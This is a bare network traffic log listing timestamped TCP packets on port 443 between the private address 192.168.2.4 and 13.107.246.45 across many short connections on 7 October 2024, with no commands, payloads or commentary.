Oct 7, 2024 03:16:26.803950071 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.804269075 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.804287910 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.804300070 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.804308891 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.808223009 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.808238983 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.808419943 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.808638096 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.808650970 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.231180906 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.231775045 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.231792927 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.232182026 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.232198000 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.329623938 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.329781055 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.329888105 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.330229044 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.330246925 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.330535889 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.330543041 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.333399057 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.333431005 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.333507061 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.333695889 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.333709955 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.366569996 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.367036104 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.367044926 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.367535114 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.367541075 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.401030064 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.401393890 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.401420116 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.401815891 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.401822090 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.451699972 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.452239037 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.452255964 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.452701092 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.452706099 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.466711998 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.466754913 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.466798067 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.466845989 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.466881990 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.467225075 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.467227936 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.467236996 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.467241049 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.470453024 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.470490932 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.470588923 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.470752001 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.470766068 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.504661083 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.504806042 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.504884005 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.505023003 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.505039930 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.505049944 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.505059958 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.508330107 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.508358002 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.508429050 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.508562088 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.508574963 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.552118063 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.552174091 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.552251101 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.552498102 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.552504063 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.552515030 CEST	49943	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.552519083 CEST	443	49943	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.556062937 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.556097031 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.556154966 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.556489944 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.556505919 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.771816015 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.772437096 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.772468090 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.773067951 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.773078918 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.869729042 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.869879007 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.869923115 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.870052099 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.870069027 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.870090008 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.870095968 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.873095036 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.873138905 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:27.873202085 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.873322964 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:27.873334885 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.012850046 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.013479948 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.013514996 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.013955116 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.013963938 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.106400013 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.107013941 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.107034922 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.107491016 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.107497931 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.116233110 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.116317034 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.116373062 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.116405964 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.116432905 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.116483927 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.116565943 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.116585970 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.116600037 CEST	49944	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.116606951 CEST	443	49944	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.119666100 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.119708061 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.119774103 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.119916916 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.119930983 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.156573057 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.157365084 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.157402992 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.157757044 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.157768011 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.205841064 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.206008911 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.206090927 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.206373930 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.206373930 CEST	49945	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.206394911 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.206408024 CEST	443	49945	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.206549883 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.207201004 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.207237005 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.207717896 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.207727909 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.209407091 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.209425926 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.209497929 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.209631920 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.209650993 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.257750034 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.265171051 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.265269041 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.265362024 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.265373945 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.265388012 CEST	49946	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.265393972 CEST	443	49946	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.268429995 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.268471956 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.268549919 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.269077063 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.269094944 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.305963039 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.306025982 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.306143999 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.306178093 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.306204081 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.306253910 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.306391001 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.306408882 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.306421995 CEST	49947	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.306428909 CEST	443	49947	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.309190989 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.309223890 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.309290886 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.309412956 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.309418917 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.523838043 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.524457932 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.524512053 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.524943113 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.524949074 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.623629093 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.623814106 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.623928070 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.624545097 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.624564886 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.624573946 CEST	49948	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.624578953 CEST	443	49948	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.633639097 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.633685112 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.633761883 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.634061098 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.634077072 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.759776115 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.760354042 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.760375977 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.760806084 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.760811090 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.859666109 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.859863043 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.859935999 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.860070944 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.860086918 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.860095978 CEST	49949	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.860100985 CEST	443	49949	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.863224030 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.863243103 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.863317013 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.863473892 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.863485098 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.883543015 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.884358883 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.884386063 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.884814978 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.884824991 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.916933060 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.917534113 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.917548895 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.917979002 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.917984009 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.957401991 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.958009958 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.958024979 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.958482981 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.958489895 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.991923094 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.991957903 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.992000103 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.992111921 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.992337942 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.992360115 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.992373943 CEST	49950	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.992381096 CEST	443	49950	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.995505095 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.995546103 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:28.995647907 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.995795012 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:28.995809078 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.018074989 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.018230915 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.018285990 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.018399954 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.018419027 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.018471003 CEST	49951	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.018476009 CEST	443	49951	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.021169901 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.021219969 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.021289110 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.021428108 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.021445036 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.058518887 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.058609962 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.058660030 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.058685064 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.058736086 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.058778048 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.059122086 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.059135914 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.059144974 CEST	49952	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.059149981 CEST	443	49952	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.063087940 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.063116074 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.063179016 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.063508987 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.063522100 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.295911074 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.296888113 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.296935081 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.297228098 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.297233105 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.398753881 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.398927927 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.399008989 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.399173975 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.399203062 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.399218082 CEST	49953	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.399224043 CEST	443	49953	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.402594090 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.402637005 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.402730942 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.402911901 CEST	49958	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.402926922 CEST	443	49958	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.506779909 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.507702112 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.507735968 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.508160114 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.508166075 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.605197906 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.605346918 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.605405092 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.605531931 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.605550051 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.605560064 CEST	49954	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.605565071 CEST	443	49954	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.608302116 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.608344078 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.608428001 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.608558893 CEST	49959	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.608571053 CEST	443	49959	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.626262903 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.626681089 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.626708031 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.627124071 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.627132893 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.650783062 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.651411057 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.651427984 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.652012110 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.652017117 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.724879980 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.725078106 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.725151062 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.725300074 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.725320101 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.725330114 CEST	49955	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.725337029 CEST	443	49955	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.728380919 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.728398085 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.728473902 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.728616953 CEST	49960	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.728631020 CEST	443	49960	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.730484009 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.731308937 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.731338024 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.731781960 CEST	49957	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.731794119 CEST	443	49957	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.749726057 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.750053883 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.750091076 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.750118971 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.750143051 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.750200033 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.750216007 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.750228882 CEST	49956	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.750233889 CEST	443	49956	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.752882004 CEST	49961	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:29.752921104 CEST	443	49961	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:29.752989054 CEST	49961	443	192.168.2.4	13.107.246.45
